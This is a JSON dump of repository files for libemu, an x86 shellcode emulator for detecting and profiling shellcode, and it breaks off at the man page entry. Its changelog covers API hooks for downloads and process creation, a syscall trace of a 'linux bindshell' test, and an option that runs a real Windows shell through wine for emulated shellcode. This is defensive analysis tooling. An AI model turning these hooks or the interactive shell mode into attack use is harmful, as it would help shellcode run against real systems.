[
  {
    "path": ".gitignore",
    "content": "# Copying and distribution of this file, with or without modification,\n# are permitted in any medium without royalty provided this notice is\n# preserved.  This file is offered as-is, without any warranty.\n# Names of contributors must not be used to endorse or promote products\n# derived from this file without specific prior written permission.\n\n# Generated files\n*.o\n*.lo\n*.la\n"
  },
  {
    "path": "AUTHORS",
    "content": "\nlibemu was designed and written by: \n * Paul Baecher\n * Markus Koetter\n\n\nspecial thanks go to:\n * jt / nologin.org for libdasm\n * Tony Finch for http://dotat.at/prog/lists/list.h\n"
  },
  {
    "path": "CHANGES",
    "content": "\t\tChangelog for libemu\n\n30.11.2008 libemu 0.2.0\n ( created with svn log -r HEAD:1385 | grep -v -- \"----\" | grep -v ^r | grep -v ^libemu | grep -v \"^$\")\n - stubs for \n   - instr_daa_27\n   - instr_das_2f\n   - instr_aas_3f\n   - instr_wait_9b\n   - instr_pushf_9c\n   - instr_popf_9d\n   - instr_sahf_9e\n   - instr_lahf_9f\n   - instr_mov_8c\n   - instr_mov_8e\n   to support obfuscated nop slides (ADMmutate)\n - changed sctest verbosity\n   -v be verbose, print level info\n   -vv print info & instructions\n   -vvv print info, instructions & cpu state\n - gcc 4.3.2 enforces return value checks for (v)asprintf, system, f(read|write), in most cases (ran out of memory) we can just bail out with exit(-1)\n - there is no sctestmain.h\n - fix sctest's append()\n - accept using sane socklen_t value\n - rename the INT(bits) and UINT(bits) macros to INTOF(bits) and UINTOF(bits) as INT collides on windows\n - fixed off by one for dumping the tests\n - added _NO_TESTS #define check for sctest to not compile any test cases into the library\n   this is required by Malzilla to include a Windows libemu binary in their distribution\n   that is not flagged by A/V (Bojan Spasic)\n - nanny shadowed a local parameter\n - createprocess did not work on x86_64 as the structs got different sizes, now we do not copy the structs, but only the values we want\n - emu_env_w32 hook setup: status messages disabled, logging should be managed by the application\n - emt64 fixes to allow compiling on x86_64 plattforms\n   maybe it is a bad habbit to store integer values on pointers to save some bytes\n   in this case I stored eip in a hashmap, using the hashmaps key pointer of type void * as store\n   compiling the code on a 64bit plattform .. made the cast invalid, as sizeof(void *) != sizeof(uint32_t)\n   therefore I had to cast to uintptr_t before casting to uint32_t in some places.\n   another thing is printing memory addresses, %08x works fine on 32bit plattforms, to be portable one should use %p, which does not prepend leading zeros.\n   \n - sctest, for interactive cmd prompt sessions, allow recording the cmd prompt session\n   creates a 'spy' process with socketpairs, duping the filedescriptors, and multiplexing using select\n   basically, the spy reads from the sockets, and writes the data to the cmd prompt process using socketpairs\n   the cmd prompts stdout and stderr is written to a socketpair, which is read by the spy process, and gets written to the connection\n   the process id returned by CreateProcess(cmd) is the spy's process id, so WaitForSingleObject waits for the spy process to exit\n   the spy process exists if the cmd prompt ends (the socketpair gets closed), the connection gets closed, or we hit a timeout\n - fix bug introduced by making profiles optional, env->env.win->loaded_dlls[i]->baseaddr is invalid if we found it, as the loop does not stop\n - hook URLDownloadToFile in sctest\n - allow hooking URLDwnloadToFile\n - sctest, use the optional profiling\n - win32/linux env: profiling is optional\n - allow hooking WinExec\n - improved backtracking: 64A1...      mov eax,[fs:...] now inits eax\n - sctest\n   - implement hooks for fopen fwrite fclose CreateFile WriteFile CloseHandle\n     implement a nanny to make sure we do not use invalid filehandles\n     add the nanny to the Makefile\n   now sctest can emulate shellcodes which download files themselves, it will store the file in /tmp/<filename>-XXXXXX\n - use emu_profile_argument_add_sockaddr_ptr where possible to save some lines\n - move win32 fopen fclose fwrite hooks from env_w32_dll_export_kernel32_hooks to env_w32_dll_export_msvcrt_hooks\n - profile GetProcAddress and WriteFile\n - allow hooking for CreateFile WriteFile and CloseHandle\n - to simplify profiling, create emu_profile_argument_add_sockaddr_ptr for use in connect&bind hooks\n - implement default logger as callback\n - porting to big endian broke cmp for lil endian, as endian.h was not included, and the big endian code did not honor argumentsizes for cmp reg{16,32} , imm8\n   fixed\n - profile win32 sendto()\n - introduce emu_hashmap_{ptr,string}_{hash,cmp} functions, to avoid further duplicated code, remove duplicate hashtable hash and cmp functions\n - fix sctest Makefile\n - split sctest in different files and move to tools/sctest/\n - add hooks for win32 ExitProcess and ExitThread\n - add profile information for ExitProcess, ExitThread and SetUnhandledExceptionFilter\n - basic big endian support\n   - main problem is unaligned memory access leading to SIGBUS \n     - imm16 is unaligned by default. all operations using imm16 have/had to be sanatized\n     - emu_memory access, reading/writing dwords and words requires inverting the byte order on big endian\n     - emu_memory has use bcopy to create aligned copies of vars\n     - emu_memory has to use bcopy instead of memcpy to access the memory, as memcpy sigbusses on unaligned memory\n     - the INSTR_CALC macro's have to use aligned copies of the values, I ported the required macros for sctest and instrtest, a some are left 'todo'\n     - instrtest uses nasm to create binary code from asm, nasm does not work correctly on sparc64, therefore the binary data for the test which failed on sparc64 due to nasm failure got added\n - adc instr_group_1_83_adc used imm16 for 'ADC r/m16,imm8' instead of imm8, fixed\n - sctest (void)va_arg calls, so gcc does not complain\n   - host is optional for --bind and --connect\n - remove interactive-hooks from configure and README\n - install profile and env headers to proper location\n - emu_log_set_logcb introduced: void my_emu_logcb)(struct emu *e, enum emu_log_level level, const char *msg){ printf(\"%s\", msg); emu_log_set_logcb(emu_logging_get(emu), my_emu_logcb);\n - for the win32 environment s/printf/logDebug/g \n - add emu_env.h to include_HEADERS\n - sctest, introduce --cmd to allow overriding commands \n  example sctest --cmd cmd=\"/bin/sh -c \\\"cd ~/.wine/drive_c/; wine 'c:\\windows\\system32\\cmd_orig.exe' \\\"\" will execute a real windows shell using wine if cmd is executed by shellcode\n - sctest, opts orderd by name, \n   introduced --connect/-c and --bind/-b to override connect/binds when run --interactive\n - Michal Spadlinski pointed out that instr_group_1_82 is an alias for instr_group_1_80\n   and the instr_group_3_f6 used instr_group_3_f7 instead of instr_group_3_f6\n - restructured the process environment\n   now we have emu_env as the holder for linux and win32 as well as emu_env_hook for the api hooks.\n   env functions take emu_env and emu_env_hook as args, and access the required *thing* themselves\n   furthermore I introduced a different kind of hooking api calls using variadic callbackfunctions\n   the benefit is easy, the interactive hooks do not have to be part of libemu itself any longer\n   and hooking calls does not require access to the emu/cpu/memory\n   all you have to do is retrieve the arguments for the function to be hooked from the va_list using va_arg\n - sctest got -i --interactive, using the interactive hooks from sctest itself\n - scprofiler, more code\n - profiling for socket in w32 env\n - adjust sctest\n - small list attail fix in run_and_track\n   init the env in run_and_track\n - slightly smarter traversal\n   if traversal fails due to stack operations which are not track(ed|able), or something different\n   bruteforce the instructions 'infront' of the known, taking the static tree as input\n   from the result, take the first offset doing 256 steps\n   one might be able to speed this up, caching already tested positions using the hashtable which is given as parameter to run_and_track\n - emu_profile_function_argument_get arg0 is return value\n - instrtest tests for special cases of sib/modrm\n - void *emu_profile_function_argument_get(struct emu_profile_function *function, int argc);\n   added, expected to work\n - emu_profile supports shorts\n - sctest, minor changes, try to reestablisch getpctest()\n - scprofiler, testdummy for emu_profile_function_argument_get()\n - env win32\n   - add msvcrt export section\n   - hook _execv\n - emu_profile_{dump,parse} added\n - emu_profile_function has returnvalue now\n - sctest -p FILENAME dumps the profile\n - profiling for recv fopen fwrite fclose added\n - introduce render_array, required for arrays (used in execve() on linux), emu_profile_argument_array_start & emu_profile_argument_array_end\n - profile alle required calls on linux\n - some minor fixes in sctest\n - auto* libcargos with --enable-cargos --with-cargos-lib= --with-cargos-inc=\n  sctest uses per-program specific CPPFLAGS and LDFLAGS to link libcargos if avalible\n - sctest runs leakfree in graphmode\n - emu_profile rename *_ref to *_ptr\n - rename emu_profile_argument_{start,end} to emu_profile_argument_struct_{start,end}\n - introduce render_none, usefull for refs where the actual value is uninteresting\n - free the mallocs, emu_profile properly cleans up now\n - sctest runs leakfree\n - emu_profile introduces an api for storing function calls and parameters\n   storing return values is todo, as well as dumping/rereading the profiles\n - improve sctest codequalitity, split profiling process into prepare() and test, allow reading shellcodes from argos csi files (prepare_argos(struct emu *e))\n   using the argos csi profiling will require proper linking with libcargos, which is not done by now.\n - this change will introduce memory leaks\n - python bindings auto* \n - python bindings, set library_dirs according to @libdir@, create setup.py via configure from setup.py.in\n - sctest, hook linux syscall exit()\n - linux env, add exit(), reorder fork\n - env linux hook fork(), return 4711\n - environments allow providing userdata now, accessing the userdata within a callback is possible using emu_env_linux_syscall->userdata or emu_env_w32_dll_export->userdata\n - move python binding to bindings/python, integrate in autoconf using conditional dirs\n - preliminary libemu python interface, currently only supports testing for shellcodes\n - linux env, header Makefile.am\n - fpu backwards traversal was dodgy, comparing fpu state with eflags does not make any sense\n   look at the src/emu_track.c diff to see the mess\n   when fixing, the size of the fpu state got shrinked to one bit, we don't need the others anyway\n   TRACK_FPU_LAST_INSTRUCTION had to be adjusted to comply with one bit vars\n - sub reg32_a,reg32_b inits reg32_a if reg32_a == reg32_b\n - proper linux syscall hooking, removed the int_cd code and created a linux environment\n   - lookup the syscalls name from a struct, in case of syscall groups like socketcall for accept,socket,connect,... provide a helper fn within the struct which returns the proper syscall name\n   - provide default syscall hooks for socketcall, dup2 and execve, stored in a struct\n   - for each environment, copy the struct, create a hashtable on (syscall_name, syscall_hook)\n   - use emu_env_linux_syscall_hook to overwrite default syscall hooks\n - added the linux environment to sctest\n   - drawing graphs from linux shellcode is possible now\n - first functional api hooks for int\n - drafting int hooking for a linux env, the switch structure is way too long, structs are preferable, and the code should move to environment/linux, but at least it shows some basic actions for now\n'sctest -t 24 -s 100\nverbose = 0\ntesting (#24) 'linux bindshell'         sys_socket(2)\nsys_bind(2)\nsys_listen(2)\nsys_accept(2)\nsys_dup2\nsys_dup2\nsys_dup2\nsys_dup2\nsys_dup2\nsys_execve\ncpu error error accessing 0x0000000b not mapped\nstepcount 73\n'\n - add group3 to itables\n - pkg-config support, now 'pkg-config --libs --cflags libemu' allows proper linking\n - sctest -o for manual offset, understands hex and decimal\n - instruction group, return -1 if group[i->modrm.opc] is NULL instead of calling NULL\n - add emunids.c to testsuite, won't be build, is EXTRA_DIST\n\n\n\n19.09.2007 libemu 0.1.0\n - initial release\n\n\n"
  },
  {
    "path": "Makefile.am",
    "content": "# $Id$\n\nAUTOMAKE_OPTIONS = foreign\nACLOCAL_AMFLAGS = -I m4\n\nSUBDIRS = src include testsuite doc bindings tools\n\nEXTRA_DIST = configure.ac CHANGES libemu.pc.in\n\npkgconfigdir = @pkgconfigdir@\npkgconfig_DATA = libemu.pc\n"
  },
  {
    "path": "README",
    "content": "\n\t  _______________\n\t |               |\n\t |               |\n\t |    libemu     |\n\t | x86 emulation |\n\t |               |\n\t |               |\n\t |               |\n\t \\ O             |\n\t  \\______________|\n\n\t\nhomepage: http://libemu.mwcollect.org\n\n\nbuilding from svn:\n  autoreconf -v -i\n  ./configure --prefix=/opt/libemu; make install\n\nbuilding from tarball:\n  tar xvfz libemu-VERSION.tar.gz\n  cd libemu-VERSION\n  ./configure --prefix=/opt/libemu; make install\n\n\nspecific configure options:\n\n--enable-debug          enable debug code generation [default=yes]\n\tdebug messages, instruction strings, nothing one wants to miss, even if it takes a lot of cpu cycles.\n\n\n\n"
  },
  {
    "path": "bindings/Makefile.am",
    "content": "# $Id$\n\nAUTOMAKE_OPTIONS = foreign\n\nif ENABLE_PYTHON_BINDINGS\npython_dir = python\nendif\n\nSUBDIRS = $(python_dir)\n\n"
  },
  {
    "path": "bindings/python/Makefile.am",
    "content": "# $Id$\n\nAUTOMAKE_OPTIONS = foreign\n\nall:\n\tpython setup.py build\n\ninstall: all\n\tpython setup.py install\n\nclean:\n\tpython setup.py clean\n\ndist-clean: clean\n\n\nEXTRA_DIST = setup.py libemu_module.c\n\n\n"
  },
  {
    "path": "bindings/python/libemu_module.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Georg Wicherski\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact gw@mwcollect.org \n *\n *******************************************************************************/\n \n\n#include <Python.h>\n#include <emu/emu.h>\n#include <emu/emu_shellcode.h>\n\n#include <stdio.h>\n\n\ntypedef struct\n{\n\tPyObject_HEAD\n\t\n\tstruct emu * emulator;\n} libemu_EmulatorObject;\n\n\n\nstatic PyObject * libemu_Emulator_new(PyTypeObject * type, PyObject * args,\n\tPyObject * kwds)\n{\n\tlibemu_EmulatorObject * self;\n\t\n\tself = (libemu_EmulatorObject *) type->tp_alloc(type, 0);\n\t\n\tif(self)\n\t{\n\t\tself->emulator = emu_new();\n\t\t\n\t\tif(!self->emulator)\n\t\t{\n\t\t\tPy_DECREF(self);\n\t\t\treturn NULL;\n\t\t}\n\t}\t\n\t\n\treturn (PyObject *) self;\n}\n\nstatic void libemu_Emulator_dealloc(libemu_EmulatorObject * self)\n{\n\tif(self->emulator)\n\t{\n\t\temu_free(self->emulator);\n\t\tself->emulator = 0;\n\t}\n\n\tself->ob_type->tp_free((PyObject*) self);\n}\n\nstatic PyObject * libemu_Emulator_test(libemu_EmulatorObject * self,\n\tPyObject * args, PyObject * kwds)\n{\n\tint length, result;\n\tconst char * buffer;\n\t\n\tif(!PyArg_ParseTuple(args, \"s#\", &buffer, &length))\n\t\treturn NULL;\n\t\n\tif(!self->emulator)\n\t\treturn NULL;\n\t\n\tresult = emu_shellcode_test(self->emulator, (uint8_t *) buffer, length);\n\t\n\tif(result == -1)\n\t\tPy_RETURN_NONE;\n\t\n\treturn Py_BuildValue(\"i\", result);\n}\n\n\n\nstatic PyMethodDef libemu_EmulatorMethods[] = {\n\t{ \"test\", (PyCFunction) libemu_Emulator_test, METH_VARARGS,\n\t\t\"Test a given buffer for presenced of a shellcode.\" },\n\t{ NULL, NULL, 0, NULL },\n};\n\nstatic PyTypeObject libemu_EmulatorType =\n{\n    PyObject_HEAD_INIT(NULL)\n    0,                         /*ob_size*/\n    \"libemu.Emulator\",             /*tp_name*/\n    sizeof(libemu_EmulatorObject),             /*tp_basicsize*/\n    0,                         /*tp_itemsize*/\n    (destructor) libemu_Emulator_dealloc, /*tp_dealloc*/\n    0,                         /*tp_print*/\n    0,                         /*tp_getattr*/\n    0,                         /*tp_setattr*/\n    0,                         /*tp_compare*/\n    0,                         /*tp_repr*/\n    0,                         /*tp_as_number*/\n    0,                         /*tp_as_sequence*/\n    0,                         /*tp_as_mapping*/\n    0,                         /*tp_hash */\n    0,                         /*tp_call*/\n    0,                         /*tp_str*/\n    0,                         /*tp_getattro*/\n    0,                         /*tp_setattro*/\n    0,                         /*tp_as_buffer*/\n    Py_TPFLAGS_DEFAULT, /*tp_flags*/\n    \"libemu x86 emulator wrapper object\",           /* tp_doc */\n    0,\t\t               /* tp_traverse */\n    0,\t\t               /* tp_clear */\n    0,\t\t               /* tp_richcompare */\n    0,\t\t               /* tp_weaklistoffset */\n    0,\t\t               /* tp_iter */\n    0,\t\t               /* tp_iternext */\n    libemu_EmulatorMethods,             /* tp_methods */\n    0,             /* tp_members */\n    0,                         /* tp_getset */\n    0,                         /* tp_base */\n    0,                         /* tp_dict */\n    0,                         /* tp_descr_get */\n    0,                         /* tp_descr_set */\n    0,                         /* tp_dictoffset */\n    0,      /* tp_init */\n    0,                         /* tp_alloc */\n    libemu_Emulator_new,                 /* tp_new */\n};\n\nstatic PyMethodDef LibemuMethods[] = {\n\t{ NULL, NULL, 0, NULL }\n};\n\nPyMODINIT_FUNC initlibemu()\n{\n\tPyObject * module;\n\t\n\tif(PyType_Ready(&libemu_EmulatorType) < 0)\n\t\treturn;\n\t\n\tmodule = Py_InitModule3(\"libemu\", LibemuMethods,\n\t\t\"libemu x86 emulator wrapper module\");\n\t\n\tPy_INCREF(&libemu_EmulatorType);\n\tPyModule_AddObject(module, \"Emulator\", (PyObject *) &libemu_EmulatorType);\n}\n\n\n"
  },
  {
    "path": "bindings/python/setup.py.in",
    "content": "#!/usr/bin/python\n\nfrom distutils.core import setup, Extension\n\nlibemu = Extension('libemu',\n                    sources = ['libemu_module.c'],\n                    include_dirs = ['../../include'],\n                    library_dirs = ['../../src/.libs'],\n                    extra_link_args=['-Wl,-rpath=@LIBDIR@'],\n                    libraries = ['emu'],\n                    )\n\nsetup (name = 'libemu',\n       version = '@VERSION@',\n       description = 'Python interface to the libemu x86 emulator.',\n       author = 'Georg Wicherski',\n       author_email = 'gw@mwcollect.org',\n       url = 'http://libemu.mwcollect.org/',\n       ext_modules = [libemu])\n"
  },
  {
    "path": "configure.ac",
    "content": "# -*- mode: m4; -*-\n# -*- Autoconf -*-\n# Process this file with autoconf to produce a configure script.\n# $Id$\n\nAC_PREREQ([2.59])\nAC_INIT([libemu],[0.2.0],[nepenthesdev@gmail.com])\nAM_INIT_AUTOMAKE\nAC_REVISION([$Id$])\n\n# AC_PREFIX_DEFAULT(/opt/libemu)\nAC_CONFIG_SRCDIR([include/emu/emu.h])\nAC_CONFIG_HEADERS([config.h])\nAC_CONFIG_MACRO_DIRS([m4])\n# AM_MAINTAINER_MODE\n\nAC_CANONICAL_HOST\nAC_C_CONST\nAC_C_BIGENDIAN\n\ndnl Check for some target-specific stuff\ncase \"$host\" in\n*-*-freebsd*)\n  CPPFLAGS=\"$CPPFLAGS -I/usr/local/include -I/usr/src/contrib/file/ -Wno-unused-local-typedefs\"\n  LDFLAGS=\"$LDFLAGS -L/usr/local/lib -Wl,-rpath,/usr/local/lib\"\n  pkgconfigdir=\"/usr/lib/pkgconfig\"\n  ;;\n*-*-linux*)\n  CC=clang\n  CFLAGS=\"-Wno-unused-local-typedefs\"\n  CPPFLAGS=\"$CPPFLAGS -D _GNU_SOURCE -I/usr/local/include -Wno-unused-local-typedefs\"\n  LDFLAGS=\"$LDFLAGS -L/usr/local/lib -Wl,-rpath,/usr/local/lib\"\n  pkgconfigdir=\"/usr/lib/pkgconfig\"\n  ;;\n*-*-darwin*)\n  CPPFLAGS=\"$CPPFLAGS -I/opt/local/include -Wno-unused-local-typedefs\"\n  LDFLAGS=\"$LDFLAGS -L/opt/local/lib\"\n  pkgconfigdir=\"/usr/local/lib/pkgconfig\"\n  if test \"$GCC\" = \"yes\"; then\n          CFLAGS=\"$CFLAGS -Wno-unused-local-typedefs -Wno-tautological-compare\"\n  fi\n  ;;\nesac\n\nAC_SUBST([pkgconfigdir])\n\n# Checks for programs.\nAC_PROG_CC\nAC_PROG_MAKE_SET\nLT_INIT\n\nAC_CHECK_HEADERS([stdint.h stdlib.h string.h strings.h unistd.h])\n\ndnl   We ought not to have to worry about getopt.h, getopt{,1}.c,\ndnl   since they can always be unconditionally compiled and linked.  See\ndnl   http://mail.gnu.org/archive/html/autoconf/2000-12/msg00049.html\ndnl   and surrounding thread for discussion.  However that doesn't\ndnl   appear to work in fact, and the function in getopt_long.c has\ndnl   different magic to avoid getting horribly tangled up.\nAC_CHECK_FUNCS(getopt)\nAC_CHECK_DECLS([getopt,getsubopt,getopt_long,setenv,putenv])\nAC_REPLACE_FUNCS(getopt_long getsubopt)\n\ndnl   getopt_long.c uses (and provides a replacement for)\ndnl   this glibc utility function\nAC_CHECK_FUNCS(__strchrnul)\n\n\n# Checks for typedefs, structures, and compiler characteristics.\nAC_C_INLINE\nAC_TYPE_UID_T\nAC_STRUCT_TM\nAC_TYPE_SIZE_T\nAC_DEFINE_UNQUOTED([RETSIGTYPE],[$ac_cv_type_signal],[Define as the return type of signal handlers\n\t\t    (`int' or `void').])\n\n\n\nAC_CHECK_SIZEOF(long)\nAC_CHECK_SIZEOF(off_t)\n\n# Checks for library functions.\nAC_FUNC_ERROR_AT_LINE\nAC_DEFINE_UNQUOTED([RETSIGTYPE],[$ac_cv_type_signal],[Define as the return type of signal handlers\n\t\t    (`int' or `void').])\n\nAC_CHECK_FUNCS([strndup inet_ntoa  memmove memset strdup strerror])\n\n# library soname\n# check http://sources.redhat.com/autobook/autobook/autobook_91.html#SEC91\nlibemu_current=2\nlibemu_revision=0\nlibemu_age=0\nlibemu_soname=$libemu_current:$libemu_revision:$libemu_age\nAC_SUBST(libemu_soname)\n\nAM_PROG_CC_C_O\n\ndnl **************************************************\ndnl * large filesystem Support                       *\ndnl **************************************************\n\nAC_MSG_CHECKING(for Large File System support)\nAC_ARG_ENABLE(lfs,\n AS_HELP_STRING([--enable-lfs],[Turn on Large File System (default)]),\n [case \"$host\" in\n *-*-linux*)\n case \"${enableval}\" in\n    yes) CPPFLAGS=\"${CPPFLAGS} -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -D_LARGE_FILES\" ;;\n     no) ;;\n      *) AC_MSG_ERROR(bad value ${enableval} for --enable-lfs) ;;\n   esac\n   ;;\n esac],[\n CPPFLAGS=\"${CPPFLAGS} -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -D_LARGE_FILES\"\n enable_lfs=yes]\n ,enable_lfs=no,)\nAC_MSG_RESULT($enableval)\n\n\ndnl **************************************************\ndnl * debug code & debug messages                    *\ndnl **************************************************\n\nAC_MSG_CHECKING(whether debug code generation should be enabled)\nAC_ARG_ENABLE([debug],\n\t\t[AS_HELP_STRING(--enable-debug, enable debug code generation [[default=yes]])],\n\t\t[enable_debug=${enableval}], [enable_debug=\"yes\"])\nif test x\"$enable_debug\" = \"xyes\"; then\n\tAC_DEFINE([DEBUG], 1, [enable debug code generation])\nfi\nAC_MSG_RESULT($enable_debug)\n\n\n\n#dnl **************************************************\n#dnl * interactive hooks                              *\n#dnl **************************************************\n#\n#AC_MSG_CHECKING(if hooks should be interactive)\n#AC_ARG_ENABLE([interactive-hooks],\n#\t\t[AS_HELP_STRING(--enable-interactive-hooks, enable interactive hooks (dangerous!)[[default=no]])],\n#\t\t[enable_interactive_hooks=${enableval}], [enable_interactive_hooks=\"yes\"])\n#if test x\"$enable_interactive_hooks\" = \"xyes\"; then\n#\tAC_DEFINE([HAVE_INTERACTIVE_HOOKS], 1, [enable interactive hooks])\n#fi\n#AC_MSG_RESULT($enable_interactive_hooks)\n\n\ndnl **************************************************\ndnl * python bindings                                *\ndnl **************************************************\n\nAC_ARG_ENABLE([python-bindings],\n\t\t[  --enable-python-bindings    Compile bindings for Python],\n\t\t[enable_python=\"$enableval\"],[enable_python=\"no\"])\n\nAM_CONDITIONAL([ENABLE_PYTHON_BINDINGS], [test x$enable_python = xyes])\n\ndnl **************************************************\ndnl * libcargos                                      *\ndnl **************************************************\n\n\nAC_SUBST([LIB_CARGOS])\nAC_SUBST([LIB_CARGOS_LIBDIR])\nAC_SUBST([LIB_CARGOS_INCDIR])\n\n\nenable_cargos=\"yes\"\n\nAC_ARG_ENABLE(cargos, [  --enable-cargos      enable support for libcargos],\n\t\t\t[enable_cargos=\"$enableval\"],[enable_cargos=\"yes\"])\n\nAC_ARG_WITH(cargos-include,\n\t\t\t[  --with-cargos-include=DIR  libcargos include dir],\n\t\t\t\t      [cargos_inc=\"$withval\"],[cargos_inc=no])\nAC_ARG_WITH(cargos-lib,\n\t\t\t[  --with-cargos-lib=DIR  libcargos library dir],\n\t\t\t[cargos_lib=\"$withval\"],[cargos_lib=no])\n\n\nif test x$enable_cargos = \"xyes\" ; then\n\tOLD_CPPFLAGS=${CPPFLAGS};\n\tif test x$cargos_inc != \"xno\"; then\n\t\tCPPFLAGS=\"${CPPFLAGS} -I${cargos_inc}\"\n\tfi\n\t\n\tAC_CHECK_HEADER(cargos-lib.h,[enable_cargos=yes],[enable_cargos=no])\n\t\n\tif test x$enable_cargos = \"xyes\" ; then\n\t\tOLD_LDFLAGS=${LDFLAGS}\n\t\tif test x$cargos_lib != \"xno\"; then\n\t\t\tLDFLAGS=\"${LDFLAGS}  -L${cargos_lib}\"\n\t\tfi\n\t\n\t\tAC_CHECK_LIB([cargos],[cargos_lib_create],enable_cargos=\"yes\", enable_cargos=\"no\")\n\t\n\t\tif test x$enable_cargos = \"xyes\" ; then\n\t\t\tLIB_CARGOS=\"-lcargos\"\n\t\t\tLIB_CARGOS_LIBDIR=\"-L$cargos_lib\"\n\t\t\tLIB_CARGOS_INCDIR=\"-I$cargos_inc\"\n\t\t\tAC_DEFINE([HAVE_LIBCARGOS], [1], [Define to 1 to compile with cargos support])\n\t\tfi\n\tfi\n\tCPPFLAGS=${OLD_CPPFLAGS}\n\tLDFLAGS=${OLD_LDFLAGS}\nfi\n\n\nAC_DEFUN([AC_DEFINE_DIR], [\n  prefix_NONE=\n  exec_prefix_NONE=\n  test \"x$prefix\" = xNONE && prefix_NONE=yes && prefix=$ac_default_prefix\n  test \"x$exec_prefix\" = xNONE && exec_prefix_NONE=yes && exec_prefix=$prefix\ndnl In Autoconf 2.60, ${datadir} refers to ${datarootdir}, which in turn\ndnl refers to ${prefix}.  Thus we have to use `eval' twice.\n  eval ac_define_dir=\"\\\"[$]$2\\\"\"\n  eval ac_define_dir=\"\\\"$ac_define_dir\\\"\"\n  AC_SUBST($1, \"$ac_define_dir\")\n  AC_DEFINE_UNQUOTED($1, \"$ac_define_dir\", [$3])\n  test \"$prefix_NONE\" && prefix=NONE\n  test \"$exec_prefix_NONE\" && exec_prefix=NONE\n])\n\nAC_DEFINE_DIR(PREFIX, prefix, [default working directory])\nAC_DEFINE_DIR(LOCALESTATEDIR, localstatedir, [where to put logs etc])\nAC_DEFINE_DIR(LIBDIR, libdir, [where to look for plugins])\nAC_DEFINE_DIR(SYSCONFDIR, [sysconfdir], [System configuration dir])\nAC_DEFINE_DIR(DATADIR, [datadir], [The directory for installing idiosyncratic read-only architecture-independent data.])\nAC_DEFINE_DIR(DATAROOTDIR, [datarootdir], [The root of the directory tree for read-only architecture-independent data files.])\n\nemu_data_dir=$datadir/emu\n\nAC_SUBST(emu_data_dir)\n\nCFLAGS=\"${CFLAGS} -Wstrict-prototypes\"\n\nAC_CONFIG_FILES([Makefile\n\t\tsrc/Makefile\n\t\tsrc/functions/Makefile\n\t\tinclude/Makefile\n\t\tinclude/emu/Makefile\n\t\tinclude/emu/environment/Makefile\n\t\tinclude/emu/environment/win32/Makefile\n\t\tinclude/emu/environment/linux/Makefile\n\t\ttestsuite/Makefile\n\t\tdoc/Makefile\n\t\tlibemu.pc\n\t\tbindings/Makefile\n\t\tbindings/python/Makefile\n\t\tbindings/python/setup.py\n\t\ttools/Makefile\n\t\ttools/sctest/Makefile])\n\n                 \nAC_OUTPUT\n\necho\necho \"*** libemu configuration ***\"\necho \"\"\necho \"debug                              : $enable_debug\"\necho \"\"\necho \"bindings\"\necho \" - python                          : $enable_python\"\necho \"\"\necho \"support\"\necho \" - cargos                          : $enable_cargos\"\n\n"
  },
  {
    "path": "debian/changelog",
    "content": "libemu (0.2.0-1) unstable; urgency=low\n\n  * Initial release (Closes: #nnnn)  <nnnn is the bug number of your ITP>\n\n -- common <common@unknown>  Mon, 17 May 2010 22:14:41 +0200\n"
  },
  {
    "path": "debian/compat",
    "content": "7\n"
  },
  {
    "path": "debian/control",
    "content": "Source: libemu\nPriority: extra\nMaintainer: Nepenthes Development Team <nepenthesdev@gmail.com>\nBuild-Depends: debhelper (>= 7), autotools-dev\nStandards-Version: 3.8.1\nSection: libs\nHomepage: http://libemu.carnivore.it\n\nPackage: libemu-dev\nSection: libdevel\nArchitecture: any\nDepends: libemu (= ${binary:Version})\nDescription: libemu development files\n\nPackage: libemu\nSection: libs\nArchitecture: any\nDescription: libemu library\n"
  },
  {
    "path": "debian/copyright",
    "content": "This package was debianized by Nepenthes Development Team <nepenthesdev@gmail.com> on\nMon, 17 May 2010 22:14:41 +0200.\n\nIt was downloaded from http://libemu.carnivore.it\n\nUpstream Author(s):\n\n    <nepenthesdev@gmail.com>\n\nCopyright:\n\n    <Copyright (C) 2010 Paul Bächer>\n    <Copyright (c) 2010 Markus Kötter>\n\nLicense:\n\n    GPL\n\nThe Debian packaging is:\n\n    Copyright (C) 2010 Markus Kötter <nepenthesdev@gmail.com>\n\nand is licensed under the GPL version 3, \nsee `/usr/share/common-licenses/GPL-3'.\n\n# Please also look if there are files or directories which have a\n# different copyright/license attached and list them here.\n"
  },
  {
    "path": "debian/docs",
    "content": "README\n"
  },
  {
    "path": "debian/files",
    "content": "libemu-dev_0.2.0-1_amd64.deb libdevel extra\nlibemu_0.2.0-1_amd64.deb libs extra\n"
  },
  {
    "path": "debian/libemu-dev.install",
    "content": "usr/include/emu/*\n"
  },
  {
    "path": "debian/libemu.install",
    "content": "usr/lib/libemu.so.*\nusr/lib/libemu.so\nusr/lib/libemu.a\n"
  },
  {
    "path": "debian/rules",
    "content": "#!/usr/bin/make -f\n# -*- makefile -*-\n# Sample debian/rules that uses debhelper.\n# This file was originally written by Joey Hess and Craig Small.\n# As a special exception, when this file is copied by dh-make into a\n# dh-make output file, you may use that output file without restriction.\n# This special exception was added by Craig Small in version 0.37 of dh-make.\n\n# Uncomment this to turn on verbose mode.\n#export DH_VERBOSE=1\n\n%:\n\tdh  $@\n"
  },
  {
    "path": "doc/Makefile.am",
    "content": "# $Id$\n\nAUTOMAKE_OPTIONS = foreign\n\n\nman_MANS = libemu.3\n\nEXTRA_DIST = $(man_MANS)\n\n"
  },
  {
    "path": "doc/libemu.3",
